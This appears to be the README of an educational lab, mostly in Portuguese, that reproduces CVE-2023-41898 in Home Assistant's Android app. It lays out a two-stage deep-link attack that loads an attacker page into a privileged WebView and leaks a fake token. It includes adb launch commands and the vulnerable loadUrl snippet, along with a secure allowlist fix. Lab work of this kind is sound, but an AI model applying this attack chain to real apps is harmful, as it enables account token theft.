
Percorra o CVE-2023-41898: explore um deep link não validado no Home Assistant Android para carregar URLs arbitrárias em um WebView privilegiado e vazar um token falso.
Lab educacional de reprodução reduzida criado com base no relatório público de vulnerabilidade (GHSL-2023-142) do Home Assistant Companion for Android e na estrutura de código aberto da versão vulnerável 2023.8.2.
Não utiliza servidor, conta ou tokens reais do Home Assistant. Expõe apenas um token fictício fixo chamado LAB_TOKEN_CVE_2023_41898_NOT_REAL.
2023.9.2 (de acordo com o aviso oficial)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ 검증 없이 JavaScript-enabled WebView.loadUrl()
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ 공격자 페이지에 externalApp JavaScript bridge 노출
▼
가상 LAB_TOKEN 표시
O intent-filter do Android manifest apenas define quais URIs correspondem a Intents implícitas; ele não valida automaticamente a URI de dados de uma Intent que especifica explicitamente um componente.
victim/: aplicativo que reproduz o handler de deep link vulnerável e a WebView privilegiadaattacker/: aplicativo que envia uma Intent explícita para a Activity exportada do aplicativo vítimaweb/: páginas de ataque de estágio 1 e 2 servidas localmentedist/: APK de depuração validadoUPSTREAM.md: correspondência entre o código-fonte original e a implementação do LabRequisitos: JDK 17 ou superior, Android SDK 36, cache do Gradle/Android Gradle Plugin ou conexão com a Internet.
./gradlew :victim:assembleDebug :attacker:assembleDebug
Execute somente em um emulador autorizado ou em um dispositivo de teste.
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
Na raiz do Lab, execute o seguinte comando:
python3 -m http.server 8000 --directory web
No emulador padrão do Android Studio, 10.0.2.2 aponta para o loopback do PC host. Se estiver usando um dispositivo de teste físico, altere web/exploit.html e a URL do aplicativo atacante para o IP de LAN do PC.
CVE-2023-41898 Victim e CVE-2023-41898 Attacker.homeassistant://navigate/.LAB_TOKEN_CVE_2023_41898_NOT_REAL é exibido.Você também pode chamar o primeiro estágio via ADB, sem o aplicativo atacante.
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
A implementação vulnerável carrega a URI externa diretamente.
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
Na correção, o scheme, host, porta e caminho da URI analisada devem ser validados contra uma allowlist estrita. Não use comparações de string com startsWith, pois há risco de bypass via informações de usuário ([email protected]), subdomínios e codificação.
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
Além disso, remova JavaScript desnecessário e JavascriptInterface da WebView e aplique a mesma validação de URL a toda navegação e redirecionamento.
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2